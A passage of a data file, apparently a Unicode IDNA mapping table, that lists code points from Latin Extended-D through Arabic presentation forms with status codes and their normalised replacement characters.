42880,1,"ꞁ"],[42881,2],[42882,1,"ꞃ"],[42883,2],[42884,1,"ꞅ"],[42885,2],[42886,1,"ꞇ"],[[42887,42888],2],[[42889,42890],2],[42891,1,"ꞌ"],[42892,2],[42893,1,"ɥ"],[42894,2],[42895,2],[42896,1,"ꞑ"],[42897,2],[42898,1,"ꞓ"],[42899,2],[[42900,42901],2],[42902,1,"ꞗ"],[42903,2],[42904,1,"ꞙ"],[42905,2],[42906,1,"ꞛ"],[42907,2],[42908,1,"ꞝ"],[42909,2],[42910,1,"ꞟ"],[42911,2],[42912,1,"ꞡ"],[42913,2],[42914,1,"ꞣ"],[42915,2],[42916,1,"ꞥ"],[42917,2],[42918,1,"ꞧ"],[42919,2],[42920,1,"ꞩ"],[42921,2],[42922,1,"ɦ"],[42923,1,"ɜ"],[42924,1,"ɡ"],[42925,1,"ɬ"],[42926,1,"ɪ"],[42927,2],[42928,1,"ʞ"],[42929,1,"ʇ"],[42930,1,"ʝ"],[42931,1,"ꭓ"],[42932,1,"ꞵ"],[42933,2],[42934,1,"ꞷ"],[42935,2],[42936,1,"ꞹ"],[42937,2],[42938,1,"ꞻ"],[42939,2],[42940,1,"ꞽ"],[42941,2],[42942,1,"ꞿ"],[42943,2],[42944,1,"ꟁ"],[42945,2],[42946,1,"ꟃ"],[42947,2],[42948,1,"ꞔ"],[42949,1,"ʂ"],[42950,1,"ᶎ"],[42951,1,"ꟈ"],[42952,2],[42953,1,"ꟊ"],[42954,2],[[42955,42959],3],[42960,1,"ꟑ"],[42961,2],[42962,3],[42963,2],[42964,3],[42965,2],[42966,1,"ꟗ"],[42967,2],[42968,1,"ꟙ"],[42969,2],[[42970,42993],3],[42994,1,"c"],[42995,1,"f"],[42996,1,"q"],[42997,1,"ꟶ"],[42998,2],[42999,2],[43000,1,"ħ"],[43001,1,"œ"],[43002,2],[[43003,43007],2],[[43008,43047],2],[[43048,43051],2],[43052,2],[[43053,43055],3],[[43056,43065],2],[[43066,43071],3],[[43072,43123],2],[[43124,43127],2],[[43128,43135],3],[[43136,43204],2],[43205,2],[[43206,43213],3],[[43214,43215],2],[[43216,43225],2],[[43226,43231],3],[[43232,43255],2],[[43256,43258],2],[43259,2],[43260,2],[43261,2],[[43262,43263],2],[[43264,43309],2],[[43310,43311],2],[[43312,43347],2],[[43348,43358],3],[43359,2],[[43360,43388],2],[[43389,43391],3],[[43392,43456],2],[[43457,43469],2],[43470,3],[[43471,43481],2],[[43482,43485],3],[[43486,43487],2],[[43488,43518],2],[43519,3],[[43520,43574],2],[[43575,43583],3],[[43584,43597],2],[[43598,43599],3],[[43600,43609],2],[[43610,43611],3],[[43612,43615],2],[[43616,43638],2],[[43639,43641],2],[[43642,43643],2],[[43644,43647],2],[[43648,43714],2],[[43715,43738],3],[[43739,43741],2],[[43742,43743],2],[[43744,43759],2],[[43760,43761],2],[[43762,43766],2],[[43767,43776],3],[[43777,43782],2],[[43783,43784],3],[[43785,43790],2],[[43791,43792],3],[[43793,43798],2],[[43799,43807],3],[[43808,43814],2],[43815,3],[[43816,43822],2],[43823,3],[[43824,43866],2],[43867,2],[43868,1,"ꜧ"],[43869,1,"ꬷ"],[43870,1,"ɫ"],[43871,1,"ꭒ"],[[43872,43875],2],[[43876,43877],2],[[43878,43879],2],[43880,2],[43881,1,"ʍ"],[[43882,43883],2],[[43884,43887],3],[43888,1,"Ꭰ"],[43889,1,"Ꭱ"],[43890,1,"Ꭲ"],[43891,1,"Ꭳ"],[43892,1,"Ꭴ"],[43893,1,"Ꭵ"],[43894,1,"Ꭶ"],[43895,1,"Ꭷ"],[43896,1,"Ꭸ"],[43897,1,"Ꭹ"],[43898,1,"Ꭺ"],[43899,1,"Ꭻ"],[43900,1,"Ꭼ"],[43901,1,"Ꭽ"],[43902,1,"Ꭾ"],[43903,1,"Ꭿ"],[43904,1,"Ꮀ"],[43905,1,"Ꮁ"],[43906,1,"Ꮂ"],[43907,1,"Ꮃ"],[43908,1,"Ꮄ"],[43909,1,"Ꮅ"],[43910,1,"Ꮆ"],[43911,1,"Ꮇ"],[43912,1,"Ꮈ"],[43913,1,"Ꮉ"],[43914,1,"Ꮊ"],[43915,1,"Ꮋ"],[43916,1,"Ꮌ"],[43917,1,"Ꮍ"],[43918,1,"Ꮎ"],[43919,1,"Ꮏ"],[43920,1,"Ꮐ"],[43921,1,"Ꮑ"],[43922,1,"Ꮒ"],[43923,1,"Ꮓ"],[43924,1,"Ꮔ"],[43925,1,"Ꮕ"],[43926,1,"Ꮖ"],[43927,1,"Ꮗ"],[43928,1,"Ꮘ"],[43929,1,"Ꮙ"],[43930,1,"Ꮚ"],[43931,1,"Ꮛ"],[43932,1,"Ꮜ"],[43933,1,"Ꮝ"],[43934,1,"Ꮞ"],[43935,1,"Ꮟ"],[43936,1,"Ꮠ"],[43937,1,"Ꮡ"],[43938,1,"Ꮢ"],[43939,1,"Ꮣ"],[43940,1,"Ꮤ"],[43941,1,"Ꮥ"],[43942,1,"Ꮦ"],[43943,1,"Ꮧ"],[43944,1,"Ꮨ"],[43945,1,"Ꮩ"],[43946,1,"Ꮪ"],[43947,1,"Ꮫ"],[43948,1,"Ꮬ"],[43949,1,"Ꮭ"],[43950,1,"Ꮮ"],[43951,1,"Ꮯ"],[43952,1,"Ꮰ"],[43953,1,"Ꮱ"],[43954,1,"Ꮲ"],[43955,1,"Ꮳ"],[43956,1,"Ꮴ"],[43957,1,"Ꮵ"],[43958,1,"Ꮶ"],[43959,1,"Ꮷ"],[43960,1,"Ꮸ"],[43961,1,"Ꮹ"],[43962,1,"Ꮺ"],[43963,1,"Ꮻ"],[43964,1,"Ꮼ"],[43965,1,"Ꮽ"],[43966,1,"Ꮾ"],[43967,1,"Ꮿ"],[[43968,44010],2],[44011,2],[[44012,44013],2],[[44014,44015],3],[[44016,44025],2],[[44026,44031],3],[[44032,55203],2],[[55204,55215],3],[[55216,55238],2],[[55239,55242],3],[[55243,55291],2],[[55292,55295],3],[[55296,57343],3],[[57344,63743],3],[63744,1,"豈"],[63745,1,"更"],[63746,1,"車"],[63747,1,"賈"],[63748,1,"滑"],[63749,1,"串"],[63750,1,"句"],[[63751,63752],1,"龜"],[63753,1,"契"],[63754,1,"金"],[63755,1,"喇"],[63756,1,"奈"],[63757,1,"懶"],[63758,1,"癩"],[63759,1,"羅"],[63760,1,"蘿"],[63761,1,"螺"],[63762,1,"裸"],[63763,1,"邏"],[63764,1,"樂"],[63765,1,"洛"],[63766,1,"烙"],[63767,1,"珞"],[63768,1,"落"],[63769,1,"酪"],[63770,1,"駱"],[63771,1,"亂"],[63772,1,"卵"],[63773,1,"欄"],[63774,1,"爛"],[63775,1,"蘭"],[63776,1,"鸞"],[63777,1,"嵐"],[63778,1,"濫"],[63779,1,"藍"],[63780,1,"襤"],[63781,1,"拉"],[63782,1,"臘"],[63783,1,"蠟"],[63784,1,"廊"],[63785,1,"朗"],[63786,1,"浪"],[63787,1,"狼"],[63788,1,"郎"],[63789,1,"來"],[63790,1,"冷"],[63791,1,"勞"],[63792,1,"擄"],[63793,1,"櫓"],[63794,1,"爐"],[63795,1,"盧"],[63796,1,"老"],[63797,1,"蘆"],[63798,1,"虜"],[63799,1,"路"],[63800,1,"露"],[63801,1,"魯"],[63802,1,"鷺"],[63803,1,"碌"],[63804,1,"祿"],[63805,1,"綠"],[63806,1,"菉"],[63807,1,"錄"],[63808,1,"鹿"],[63809,1,"論"],[63810,1,"壟"],[63811,1,"弄"],[63812,1,"籠"],[63813,1,"聾"],[63814,1,"牢"],[63815,1,"磊"],[63816,1,"賂"],[63817,1,"雷"],[63818,1,"壘"],[63819,1,"屢"],[63820,1,"樓"],[63821,1,"淚"],[63822,1,"漏"],[63823,1,"累"],[63824,1,"縷"],[63825,1,"陋"],[63826,1,"勒"],[63827,1,"肋"],[63828,1,"凜"],[63829,1,"凌"],[63830,1,"稜"],[63831,1,"綾"],[63832,1,"菱"],[63833,1,"陵"],[63834,1,"讀"],[63835,1,"拏"],[63836,1,"樂"],[63837,1,"諾"],[63838,1,"丹"],[63839,1,"寧"],[63840,1,"怒"],[63841,1,"率"],[63842,1,"異"],[63843,1,"北"],[63844,1,"磻"],[63845,1,"便"],[63846,1,"復"],[63847,1,"不"],[63848,1,"泌"],[63849,1,"數"],[63850,1,"索"],[63851,1,"參"],[63852,1,"塞"],[63853,1,"省"],[63854,1,"葉"],[63855,1,"說"],[63856,1,"殺"],[63857,1,"辰"],[63858,1,"沈"],[63859,1,"拾"],[63860,1,"若"],[63861,1,"掠"],[63862,1,"略"],[63863,1,"亮"],[63864,1,"兩"],[63865,1,"凉"],[63866,1,"梁"],[63867,1,"糧"],[63868,1,"良"],[63869,1,"諒"],[63870,1,"量"],[63871,1,"勵"],[63872,1,"呂"],[63873,1,"女"],[63874,1,"廬"],[63875,1,"旅"],[63876,1,"濾"],[63877,1,"礪"],[63878,1,"閭"],[63879,1,"驪"],[63880,1,"麗"],[63881,1,"黎"],[63882,1,"力"],[63883,1,"曆"],[63884,1,"歷"],[63885,1,"轢"],[63886,1,"年"],[63887,1,"憐"],[63888,1,"戀"],[63889,1,"撚"],[63890,1,"漣"],[63891,1,"煉"],[63892,1,"璉"],[63893,1,"秊"],[63894,1,"練"],[63895,1,"聯"],[63896,1,"輦"],[63897,1,"蓮"],[63898,1,"連"],[63899,1,"鍊"],[63900,1,"列"],[63901,1,"劣"],[63902,1,"咽"],[63903,1,"烈"],[63904,1,"裂"],[63905,1,"說"],[63906,1,"廉"],[63907,1,"念"],[63908,1,"捻"],[63909,1,"殮"],[63910,1,"簾"],[63911,1,"獵"],[63912,1,"令"],[63913,1,"囹"],[63914,1,"寧"],[63915,1,"嶺"],[63916,1,"怜"],[63917,1,"玲"],[63918,1,"瑩"],[63919,1,"羚"],[63920,1,"聆"],[63921,1,"鈴"],[63922,1,"零"],[63923,1,"靈"],[63924,1,"領"],[63925,1,"例"],[63926,1,"禮"],[63927,1,"醴"],[63928,1,"隸"],[63929,1,"惡"],[63930,1,"了"],[63931,1,"僚"],[63932,1,"寮"],[63933,1,"尿"],[63934,1,"料"],[63935,1,"樂"],[63936,1,"燎"],[63937,1,"療"],[63938,1,"蓼"],[63939,1,"遼"],[63940,1,"龍"],[63941,1,"暈"],[63942,1,"阮"],[63943,1,"劉"],[63944,1,"杻"],[63945,1,"柳"],[63946,1,"流"],[63947,1,"溜"],[63948,1,"琉"],[63949,1,"留"],[63950,1,"硫"],[63951,1,"紐"],[63952,1,"類"],[63953,1,"六"],[63954,1,"戮"],[63955,1,"陸"],[63956,1,"倫"],[63957,1,"崙"],[63958,1,"淪"],[63959,1,"輪"],[63960,1,"律"],[63961,1,"慄"],[63962,1,"栗"],[63963,1,"率"],[63964,1,"隆"],[63965,1,"利"],[63966,1,"吏"],[63967,1,"履"],[63968,1,"易"],[63969,1,"李"],[63970,1,"梨"],[63971,1,"泥"],[63972,1,"理"],[63973,1,"痢"],[63974,1,"罹"],[63975,1,"裏"],[63976,1,"裡"],[63977,1,"里"],[63978,1,"離"],[63979,1,"匿"],[63980,1,"溺"],[63981,1,"吝"],[63982,1,"燐"],[63983,1,"璘"],[63984,1,"藺"],[63985,1,"隣"],[63986,1,"鱗"],[63987,1,"麟"],[63988,1,"林"],[63989,1,"淋"],[63990,1,"臨"],[63991,1,"立"],[63992,1,"笠"],[63993,1,"粒"],[63994,1,"狀"],[63995,1,"炙"],[63996,1,"識"],[63997,1,"什"],[63998,1,"茶"],[63999,1,"刺"],[64000,1,"切"],[64001,1,"度"],[64002,1,"拓"],[64003,1,"糖"],[64004,1,"宅"],[64005,1,"洞"],[64006,1,"暴"],[64007,1,"輻"],[64008,1,"行"],[64009,1,"降"],[64010,1,"見"],[64011,1,"廓"],[64012,1,"兀"],[64013,1,"嗀"],[[64014,64015],2],[64016,1,"塚"],[64017,2],[64018,1,"晴"],[[64019,64020],2],[64021,1,"凞"],[64022,1,"猪"],[64023,1,"益"],[64024,1,"礼"],[64025,1,"神"],[64026,1,"祥"],[64027,1,"福"],[64028,1,"靖"],[64029,1,"精"],[64030,1,"羽"],[64031,2],[64032,1,"蘒"],[64033,2],[64034,1,"諸"],[[64035,64036],2],[64037,1,"逸"],[64038,1,"都"],[[64039,64041],2],[64042,1,"飯"],[64043,1,"飼"],[64044,1,"館"],[64045,1,"鶴"],[64046,1,"郞"],[64047,1,"隷"],[64048,1,"侮"],[64049,1,"僧"],[64050,1,"免"],[64051,1,"勉"],[64052,1,"勤"],[64053,1,"卑"],[64054,1,"喝"],[64055,1,"嘆"],[64056,1,"器"],[64057,1,"塀"],[64058,1,"墨"],[64059,1,"層"],[64060,1,"屮"],[64061,1,"悔"],[64062,1,"慨"],[64063,1,"憎"],[64064,1,"懲"],[64065,1,"敏"],[64066,1,"既"],[64067,1,"暑"],[64068,1,"梅"],[64069,1,"海"],[64070,1,"渚"],[64071,1,"漢"],[64072,1,"煮"],[64073,1,"爫"],[64074,1,"琢"],[64075,1,"碑"],[64076,1,"社"],[64077,1,"祉"],[64078,1,"祈"],[64079,1,"祐"],[64080,1,"祖"],[64081,1,"祝"],[64082,1,"禍"],[64083,1,"禎"],[64084,1,"穀"],[64085,1,"突"],[64086,1,"節"],[64087,1,"練"],[64088,1,"縉"],[64089,1,"繁"],[64090,1,"署"],[64091,1,"者"],[64092,1,"臭"],[[64093,64094],1,"艹"],[64095,1,"著"],[64096,1,"褐"],[64097,1,"視"],[64098,1,"謁"],[64099,1,"謹"],[64100,1,"賓"],[64101,1,"贈"],[64102,1,"辶"],[64103,1,"逸"],[64104,1,"難"],[64105,1,"響"],[64106,1,"頻"],[64107,1,"恵"],[64108,1,"𤋮"],[64109,1,"舘"],[[64110,64111],3],[64112,1,"並"],[64113,1,"况"],[64114,1,"全"],[64115,1,"侀"],[64116,1,"充"],[64117,1,"冀"],[64118,1,"勇"],[64119,1,"勺"],[64120,1,"喝"],[64121,1,"啕"],[64122,1,"喙"],[64123,1,"嗢"],[64124,1,"塚"],[64125,1,"墳"],[64126,1,"奄"],[64127,1,"奔"],[64128,1,"婢"],[64129,1,"嬨"],[64130,1,"廒"],[64131,1,"廙"],[64132,1,"彩"],[64133,1,"徭"],[64134,1,"惘"],[64135,1,"慎"],[64136,1,"愈"],[64137,1,"憎"],[64138,1,"慠"],[64139,1,"懲"],[64140,1,"戴"],[64141,1,"揄"],[64142,1,"搜"],[64143,1,"摒"],[64144,1,"敖"],[64145,1,"晴"],[64146,1,"朗"],[64147,1,"望"],[64148,1,"杖"],[64149,1,"歹"],[64150,1,"殺"],[64151,1,"流"],[64152,1,"滛"],[64153,1,"滋"],[64154,1,"漢"],[64155,1,"瀞"],[64156,1,"煮"],[64157,1,"瞧"],[64158,1,"爵"],[64159,1,"犯"],[64160,1,"猪"],[64161,1,"瑱"],[64162,1,"甆"],[64163,1,"画"],[64164,1,"瘝"],[64165,1,"瘟"],[64166,1,"益"],[64167,1,"盛"],[64168,1,"直"],[64169,1,"睊"],[64170,1,"着"],[64171,1,"磌"],[64172,1,"窱"],[64173,1,"節"],[64174,1,"类"],[64175,1,"絛"],[64176,1,"練"],[64177,1,"缾"],[64178,1,"者"],[64179,1,"荒"],[64180,1,"華"],[64181,1,"蝹"],[64182,1,"襁"],[64183,1,"覆"],[64184,1,"視"],[64185,1,"調"],[64186,1,"諸"],[64187,1,"請"],[64188,1,"謁"],[64189,1,"諾"],[64190,1,"諭"],[64191,1,"謹"],[64192,1,"變"],[64193,1,"贈"],[64194,1,"輸"],[64195,1,"遲"],[64196,1,"醙"],[64197,1,"鉶"],[64198,1,"陼"],[64199,1,"難"],[64200,1,"靖"],[64201,1,"韛"],[64202,1,"響"],[64203,1,"頋"],[64204,1,"頻"],[64205,1,"鬒"],[64206,1,"龜"],[64207,1,"𢡊"],[64208,1,"𢡄"],[64209,1,"𣏕"],[64210,1,"㮝"],[64211,1,"䀘"],[64212,1,"䀹"],[64213,1,"𥉉"],[64214,1,"𥳐"],[64215,1,"𧻓"],[64216,1,"齃"],[64217,1,"龎"],[[64218,64255],3],[64256,1,"ff"],[64257,1,"fi"],[64258,1,"fl"],[64259,1,"ffi"],[64260,1,"ffl"],[[64261,64262],1,"st"],[[64263,64274],3],[64275,1,"մն"],[64276,1,"մե"],[64277,1,"մի"],[64278,1,"վն"],[64279,1,"մխ"],[[64280,64284],3],[64285,1,"יִ"],[64286,2],[64287,1,"ײַ"],[64288,1,"ע"],[64289,1,"א"],[64290,1,"ד"],[64291,1,"ה"],[64292,1,"כ"],[64293,1,"ל"],[64294,1,"ם"],[64295,1,"ר"],[64296,1,"ת"],[64297,5,"+"],[64298,1,"שׁ"],[64299,1,"שׂ"],[64300,1,"שּׁ"],[64301,1,"שּׂ"],[64302,1,"אַ"],[64303,1,"אָ"],[64304,1,"אּ"],[64305,1,"בּ"],[64306,1,"גּ"],[64307,1,"דּ"],[64308,1,"הּ"],[64309,1,"וּ"],[64310,1,"זּ"],[64311,3],[64312,1,"טּ"],[64313,1,"יּ"],[64314,1,"ךּ"],[64315,1,"כּ"],[64316,1,"לּ"],[64317,3],[64318,1,"מּ"],[64319,3],[64320,1,"נּ"],[64321,1,"סּ"],[64322,3],[64323,1,"ףּ"],[64324,1,"פּ"],[64325,3],[64326,1,"צּ"],[64327,1,"קּ"],[64328,1,"רּ"],[64329,1,"שּ"],[64330,1,"תּ"],[64331,1,"וֹ"],[64332,1,"בֿ"],[64333,1,"כֿ"],[64334,1,"פֿ"],[64335,1,"אל"],[[64336,64337],1,"ٱ"],[[64338,64341],1,"ٻ"],[[64342,64345],1,"پ"],[[64346,64349],1,"ڀ"],[[64350,64353],1,"ٺ"],[[64354,64357],1,"ٿ"],[[64358,64361],1,"ٹ"],[[64362,64365],1,"ڤ"],[[64366,64369],1,"ڦ"],[[64370,64373],1,"ڄ"],[[64374,64377],1,"ڃ"],[[64378,64381],1,"چ"],[[64382,64385],1,"ڇ"],[[64386,64387],1,"ڍ"],[[64388,64389],1,"ڌ"],[[64390,64391],1,"ڎ"],[[64392,64393],1,"ڈ"],[[64394,64395],1,"ژ"],[[64396,64397],1,"ڑ"],[[64398,64401],1,"ک"],[[64402,64405],1,"گ"],[[64406,64409],1,"ڳ"],[[64410,64413],1,"ڱ"],[[64414,64415],1,"ں"],[[64416,64419],1,"ڻ"],[[64420,64421],1,"ۀ"],[[64422,64425],1,"ہ"],[[64426,64429],1,"ھ"],[[64430,64431],1,"ے"],[[64432,64433],1,"ۓ"],[[64434,64449],2],[64450,2],[[64451,64466],3],[[64467,64470],1,"ڭ"],[[64471,64472],1,"ۇ"],[[64473,64474],1,"ۆ"],[[64475,64476],1,"ۈ"],[64477,1,"ۇٴ"],[[64478,64479],1,"ۋ"],[[64480,64481],1,"ۅ"],[[64482,64483],1,"ۉ"],[[64484,64487],1,"ې"],[[64488,64489],1,"ى"],[[64490,64491],1,"ئا"],[[64492,64493],1,"ئە"],[[64494,64495],1,"ئو"],[[64496,64497],1,"ئۇ"],[[64498,64499],1,"ئۆ"],[[64500,64501],1,"ئۈ"],[[64502,64504],1,"ئې"],[[64505,64507],1,"ئى"],[[64508,64511],1,"ی"],[64512,1,"ئج"],[64513,1,"ئح"],[64514,1,"ئم"],[64515,1,"ئى"],[64516,1,"ئي"],[64517,1,"بج"],[64518,1,"بح"],[64519,1,"بخ"],[64520,1,"بم"],[64521,1,"بى"],[64522,1,"بي"],[64523,1,"تج"],[64524,1,"تح"],[64525,1,"تخ"],[64526,1,"تم"],[64527,1,"تى"],[64528,1,"تي"],[64529,1,"ثج"],[64530,1,"ثم"],[64531,1,"ثى"],[64532,1,"ثي"],[64533,1,"جح"],[64534,1,"جم"],[64535,1,"حج"],[64536,1,"حم"],[64537,1,"خج"],[64538,1,"خح"],[64539,1,"خم"],[64540,1,"سج"],[64541,1,"سح"],[64542,1,"سخ"],[64543,1,"سم"],[64544,1,"صح"],[64545,1,"صم"],[64546,1,"ضج"],[64547,1,"ضح"],[64548,1,"ضخ"],[64549,1,"ضم"],[64550,1,"طح"],[64551,1,"طم"],[64552,1,"ظم"],[64553,1,"عج"],[64554,1,"عم"],[64555,1,"غج"],[64556,1,"غم"],[64557,1,"فج"],[64558,1,"فح"],[64559,1,"فخ"],[64560,1,"فم"],[64561,1,"فى"],[64562,1,"في"],[64563,1,"قح"],[64564,1,"قم"],[64565,1,"قى"],[64566,1,"قي"],[64567,1,"كا"],[64568,1,"كج"],[64569,1,"كح"],[64570,1,"كخ"],[64571,1,"كل"],[64572,1,"كم"],[64573,1,"كى"],[64574,1,"كي"],[64575,1,"لج"],[64576,1,"لح"],[64577,1,"لخ"],[64578,1,"لم"],[64579,1,"لى"],[64580,1,"لي"],[64581,1,"مج"],[64582,1,"مح"],[64583,1,"مخ"],[64584,1,"مم"],[64585,1,"مى"],[64586,1,"مي"],[64587,1,"نج"],[64588,1,"نح"],[64589,1,"نخ"],[64590,1,"نم"],[64591,1,"نى"],[64592,1,"ني"],[64593,1,"هج"],[64594,1,"هم"],[64595,1,"هى"],[64596,1,"هي"],[64597,1,"يج"],[64598,1,"يح"],[64599,1,"يخ"],[64600,1,"يم"],[64601,1,"يى"],[64602,1,"يي"],[64603,1,"ذٰ"],[64604,1,"رٰ"],[64605,1,"ىٰ"],[64606,5," ٌّ"],[64607,5," ٍّ"],[64608,5," َّ"],[64609,5," ُّ"],[64610,5," ِّ"],[64611,5," ّٰ"],[64612,1,"ئر"],[64613,1,"ئز"],[64614,1,"ئم"],[64615,1,"ئن"],[64616,1,"ئى"],[64617,1,"ئي"],[64618,1,"بر"],[64619,1,"بز"],[64620,1,"بم"],[64621,1,"بن"],[64622,1,"بى"],[64623,1,"بي"],[64624,1,"تر"],[64625,1,"تز"],[64626,1,"تم"],[64627,1,"تن"],[64628,1,"تى"],[64629,1,"تي"],[64630,1,"ثر"],[64631,1,"ثز"],[64632,1,"ثم"],[64633,1,"ثن"],[64634,1,"ثى"],[64635,1,"ثي"],[64636,1,"فى"],[64637,1,"في"],[64638,1,"قى"],[64639,1,"قي"],[64640,1,"كا"],[64641,1,"كل"],[64642,1,"كم"],[64643,1,"كى"],[64644,1,"كي"],[64645,1,"لم"],[64646,1,"لى"],[64647,1,"لي"],[64648,1,"ما"],[64649,1,"مم"],[64650,1,"نر"],[64651,1,"نز"],[64652,1,"نم"],[64653,1,"نن"],[64654,1,"نى"],[64655,1,"ني"],[64656,1,"ىٰ"],[64657,1,"ير"],[64658,1,"يز"],[64659,1,"يم"],[64660,1,"ين"],[64661,1,"يى"],[64662,1,"يي"],[64663,1,"ئج"],[64664,1,"ئح"],[64665,1,"ئخ"],[64666,1,"ئم"],[64667,1,"ئه"],[64668,1,"بج"],[64669,1,"بح"],[64670,1,"بخ"],[64671,1,"بم"],[64672,1,"به"],[64673,1,"تج"],[64674,1,"تح"],[64675,1,"تخ"],[64676,1,"تم"],[64677,1,"ته"],[64678,1,"ثم"],[64679,1,"جح"],[64680,1,"جم"],[64681,1,"حج"],[64682,1,"حم"],[64683,1,"خج"],[64684,1,"خم"],[64685,1,"سج"],[64686,1,"سح"],[64687,1,"سخ"],[64688,1,"سم"],[64689,1,"صح"],[64690,1,"صخ"],[64691,1,"صم"],[64692,1,"ضج"],[64693,1,"ضح"],[64694,1,"ضخ"],[64695,1,"ضم"],[64696,1,"طح"],[64697,1,"ظم"],[64698,1,"عج"],[64699,1,"عم"],[64700,1,"غج"],[64701,1,"غم"],[64702,1,"فج"],[64703,1,"فح"],[64704,1,"فخ"],[64705,1,"فم"],[64706,1,"قح"],[64707,1,"قم"],[64708,1,"كج"],[64709,1,"كح"],[64710,1,"كخ"],[64711,1,"كل"],[64712,1,"كم"],[64713,1,"لج"],[64714,1,"لح"],[64715,1,"لخ"],[64716,1,"لم"],[64717,1,"له"],[64718,1,"مج"],[64719,1,"مح"],[64720,1,"مخ"],[64721,1,"مم"],[64722,1,"نج"],[64723,1,"نح"],[64724,1,"نخ"],[64725,1,"نم"],[64726,1,"نه"],[64727,1,"هج"],[64728,1,"هم"],[64729,1,"هٰ"],[64730,1,"يج"],[64731,1,"يح"],[64732,1,"يخ"],[64733,1,"يم"],[64734,1,"يه"],[64735,1,"ئم"],[64736,1,"ئه"],[64737,1,"بم"],[64738,1,"به"],[64739,1,"تم"],[64740,1,"ته"],[64741,1,"ثم"],[64742,1,"ثه"],[64743,1,"سم"],[64744,1,"سه"],[64745,1,"شم"],[64746,1,"شه"],[64747,1,"كل"],[64748,1,"كم"],[64749,1,"لم"],[64750,1,"نم"],[64751,1,"نه"],[64752,1,"يم"],[64753,1,"يه"],[64754,1,"ـَّ"],[64755,1,"ـُّ"],[64756,1,"ـِّ"],[64757,1,"طى"],[64758,1,"طي"],[64759,1,"عى"],[64760,1,"عي"],[64761,1,"غى"],[64762,1,"غي"],[64763,1,"سى"],[64764,1,"سي"],[64765,1,"شى"],[64766,1,"شي"],[64767,1,"حى"],[64768,1,"حي"],[64769,1,"جى"],[64770,1,"جي"],[64771,1,"خى"],[64772,1,"خي"],[64773,1,"صى"],[64774,1,"صي"],[64775,1,"ضى"],[64776,1,"ضي"],[64777,1,"شج"],[64778,1,"شح"],[64779,1,"شخ"],[64780,1,"شم"],[64781,1,"شر"],[64782,1,"سر"],[64783,1,"صر"],[64784,1,"ضر"],[64785,1,"طى"],[64786,1,"طي"],[64787,1,"عى"],[64788,1,"عي"],[64789,1,"غى"],[64790,1,"غي"],[64791,1,"سى"],[64792,1,"سي"],[64793,1,"شى"],[64794,1,"شي"],[64795,1,"حى"],[64796,1,"حي"],[64797,1,"جى"],[64798,1,"جي"],[64799,1,"خى"],[64800,1,"خي"],[64801,1,"صى"],[64802,1,"صي"],[64803,1,"ضى"],[64804,1,"ضي"],[64805,1,"شج"],[64806,1,"شح"],[64807,1,"شخ"],[64808,1,"شم"],[64809,1,"شر"],[64810,1,"سر"],[64811,1,"صر"],[64812,1,"ضر"],[64813,1,"شج"],[64814,1,"شح"],[64815,1,"شخ"],[64816,1,"شم"],[64817,1,"سه"],[64818,1,"شه"],[64819,1,"طم"],[64820,1,"سج"],[64821,1,"سح"],[64822,1,"سخ"],[64823,1,"شج"],[64824,1,"شح"],[64825,1,"شخ"],[64826,1,"طم"],[64827,1,"ظم"],[[64828,64829],1,"اً"],[[64830,64831],2],[[64832,64847],2],[64848,1,"تجم"],[[64849,64850],1,"تحج"],[64851,1,"تحم"],[64852,1,"تخم"],[64853,1,"تمج"],[64854,1,"تمح"],[64855,1,"تمخ"],[[64856,64857],1,"جمح"],[64858,1,"حمي"],[64859,1,"حمى"],[64860,1,"سحج"],[64861,1,"سجح"],[64862,1,"سجى"],[[64863,64864],1,"سمح"],[64865,1,"سمج"],[[64866,64867],1,"سمم"],[[64868,64869],1,"صحح"],[64870,1,"صمم"],[[64871,64872],1,"شحم"],[64873,1,"شجي"],[[64874,64875],1,"شمخ"],[[64876,64877],1,"شمم"],[64878,1,"ضحى"],[[64879,64880],1,"ضخم"],[[64881,64882],1,"طمح"],[64883,1,"طمم"],[64884,1,"طمي"],[64885,1,"عجم"],[[64886,64887],1,"عمم"],[64888,1,"عمى"],[64889,1,"غمم"],[64890,1,"غمي"],[64891,1,"غمى"],[[64892,64893],1,"فخم"],[64894,1,"قمح"],[64895,1,"قمم"],[64896,1,"لحم"],[64897,1,"لحي"],[64898,1,"لحى"],[[64899,64900],1,"لجج"],[[64901,64902],1,"لخم"],[[64903,64904],1,"لمح"],[64905,1,"محج"],[64906,1,"محم"],[64907,1,"محي"],[64908,1,"مجح"],[64909,1,"مجم"],[64910,1,"مخج"],[64911,1,"مخم"],[[64912,64913],3],[64914,1,"مجخ"],[64915,1,"همج"],[64916,1,"همم"],[64917,1,"نحم"],[64918,1,"نحى"],[[64919,64920],1,"نجم"],[64921,1,"نجى"],[64922,1,"نمي"],[64923,1,"نمى"],[[64924,64925],1,"يمم"],[64926,1,"بخي"],[64927,1,"تجي"],[64928,1,"تجى"],[64929,1,"تخي"],[64930,1,"تخى"],[64931,1,"تمي"],[64932,1,"تمى"],[64933,1,"جمي"],[64934,1,"جحى"],[64935,1,"جمى"],[64936,1,"سخى"],[64937,1,"صحي"],[64938,1,"شحي"],[64939,1,"ضحي"],[64940,1,"لجي"],[64941,1,"لمي"],[64942,1,"يحي"],[64943,1,"يجي"],[64944,1,"يمي"],[64945,1,"ممي"],[64946,1,"قمي"],[64947,1,"نحي"],[64948,1,"قمح"],[64949,1,"لحم"],[64950,1,"عمي"],[64951,1,"كمي"],[64952,1,"نجح"],[64953,1,"مخي"],[64954,1,"لجم"],[64955,1,"كمم"],[64956,1,"لجم"],[64957,1,"نجح"],[64958,1,"جحي"],[64959,1,"حجي"],[64960,1,"مجي"],[64961,1,"فمي"],[64962,1,"بحي"],[64963,1,"كمم"],[64964,1,"عجم"],[64965,1,"صمم"],[64966,1,"سخي"],[64967,1,"نجي"],[[64968,64974],3],[64975,2],[[64976,65007],3],[65008,1,"صلے"],[65009,1,"قلے"],[65010,1,"الله"],[65011,1,"اكبر"],[65012,1,"محمد"],[65013,1,"صلعم"],[65014,1,"رسول"],[65015,1,"عليه"],[65016,1,"وسلم"],[65017,1,"صلى"],[65018,5,"صلى الله عليه وسلم"],[65019,5,"جل 